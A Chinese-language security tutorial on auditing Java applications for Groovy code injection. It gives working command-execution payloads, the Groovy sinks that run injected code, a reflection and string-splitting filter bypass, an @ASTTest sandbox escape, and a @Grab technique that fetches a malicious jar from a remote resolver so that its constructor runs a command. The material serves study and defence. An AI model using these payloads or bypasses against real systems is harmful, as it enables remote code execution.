Java代码审计之Groovy代码执行
0x01 介绍
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy代码能够与Java代码很好地结合,也能用于扩展现有代码。由于其运行在JVM上的特性,Groovy也可以使用其他非Java语言编写的库。
Groovy是用于Java虚拟机的一种敏捷的动态语言,它是一种成熟的面向对象编程语言,既可以用于面向对象编程,又可以用作纯粹的脚本语言。使用该种语言不必编写过多的代码,同时又具有闭包和动态语言中的其他特性。
Groovy是JVM的一个替代语言(替代是指可以用Groovy在Java平台上进行Java编程),使用方式基本与使用Java代码的方式相同,该语言特别适合与Spring的动态语言支持一起使用,设计时充分考虑了Java集成,这使Groovy与Java代码的互操作很容易。(注意:不是指Groovy替代Java,而是指Groovy和Java很好的结合编程。)
Groovy有以下特点:
- 同时支持静态和动态类型;
- 支持运算符重载;
- 本地语法列表和关联数组;
- 对正则表达式的本地支持;
- 各种标记语言,如XML和HTML原生支持;
- Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
- 可以使用现有的Java库;
- Groovy扩展了java.lang.Object;
0x02 环境搭建
下载Groovy:http://groovy-lang.org/download.html
解压之后,使用IDEA新建Groovy项目时选择解压的Groovy目录即可
然后点击src->new>groovy class,即可新建一个groovy文件,内容如下:
class test {
static void main(args){
println "Hello World!";
}
}
0x03 Groovy代码注入
1.执行命令的方式
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
RCE.groovy代码如下:
class RCE {
static void main(args){
def cmd = "open -a Calculator";
Runtime.getRuntime().exec(cmd);
// cmd.execute()
// println "${cmd.execute()}";
def cmd2 = "ls -laht"
println cmd2.execute().text
}
}
2. 触发漏洞代码
GroovyShell
GroovyScriptEngine
GroovyClassLoader
ScriptEngineManager
GroovyShellExample.java代码如下:
import groovy.lang.*;
import groovy.util.GroovyScriptEngine;
import groovy.util.ResourceException;
import groovy.util.ScriptException;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class GroovyShellExample {
// GroovyShell 直接执行命令
public void func1(){
GroovyShell groovyShell = new GroovyShell();
// 直接执行命令
groovyShell.evaluate("\"open -a Calculator\".execute()");
}
// GroovyShell 运行脚本
public void func2() throws IOException {
GroovyShell groovyShell = new GroovyShell();
// 运行脚本
Script script = groovyShell.parse(new File("src/Test.groovy"));
script.run();
}
// GroovyScriptEngine
public void func3() throws IOException, ScriptException, ResourceException {
// GroovyScriptEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们。如同GroovyShell一样,GroovyScriptEngine也允许传入参数值,并能返回脚本的计算值。
GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("");
groovyScriptEngine.run("src/Test.groovy",new Binding());
}
// GroovyClassLoader
public void func4() throws IOException, InstantiationException, IllegalAccessException {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class loadClass = groovyClassLoader.parseClass(new File("src/Test.groovy"));
GroovyObject groovyObject = (GroovyObject) loadClass.newInstance();
groovyObject.invokeMethod("main","");
}
// 在ScriptEngine中,支持名为“groovy”的引擎,可用来执行Groovy代码。
// ScriptEngine 直接执行命令
public void func5() throws javax.script.ScriptException {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
groovyEngine.eval("\"open -a Calculator\".execute()");
}
// ScriptEngine 运行脚本
public void func6() throws Exception {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
String code = readfile("src/1.txt");
groovyEngine.eval(code);
}
public static String readfile(String filename) throws Exception {
BufferedReader in = new BufferedReader(new FileReader(filename));
String string = "";
String str;
while ((str = in.readLine()) != null) {
string = string + str;
}
return string;
}
public static void main( String[] args ) throws Exception {
GroovyShellExample groovyShellExample = new GroovyShellExample();
// groovyShellExample.func1();
// groovyShellExample.func2();
// groovyShellExample.func3();
// groovyShellExample.func4();
// groovyShellExample.func5();
groovyShellExample.func6();
}
}
0x04 绕过
1. 反射和字符串拼接
bypassReflect.java
import java.lang.reflect.Method;
public class bypassReflect {
public static void main(String[] args) throws Exception {
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ope" + "n -a" +" Cal" + "culator");
}
}
2.Groovy沙箱Bypass
@AST注解执行断言
参考Groovy的Meta Programming手册,利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)。
ASTTest.groovy
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("open -a Calculator")
})
def x
''');
@Grab注解加载远程恶意类
@Grab注解的详细用法在Dependency management with Grape中有讲到,简单地说,Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库。
DemoGrab.groovy代码:
请求 http://127.0.0.1:8888/test/poc/0/poc-0.jar 加载Exp类,实例化后执行构造方法里的代码
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8888/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
Exp.java
class Exp {
public Exp(){
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) { }
}
}
Javac Exp.java
生成Exp.class
在src目录下创建META-INF.services目录,并创建org.codehaus.groovy.plugins.Runners文件,文件内容为Exp
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-0.jar Exp.class META-INF
将poc-0.jar放到Web目录下,路径在test/poc/0/
运行DemoGrab.groovy
成功执行了命令
0x05 参考链接
https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/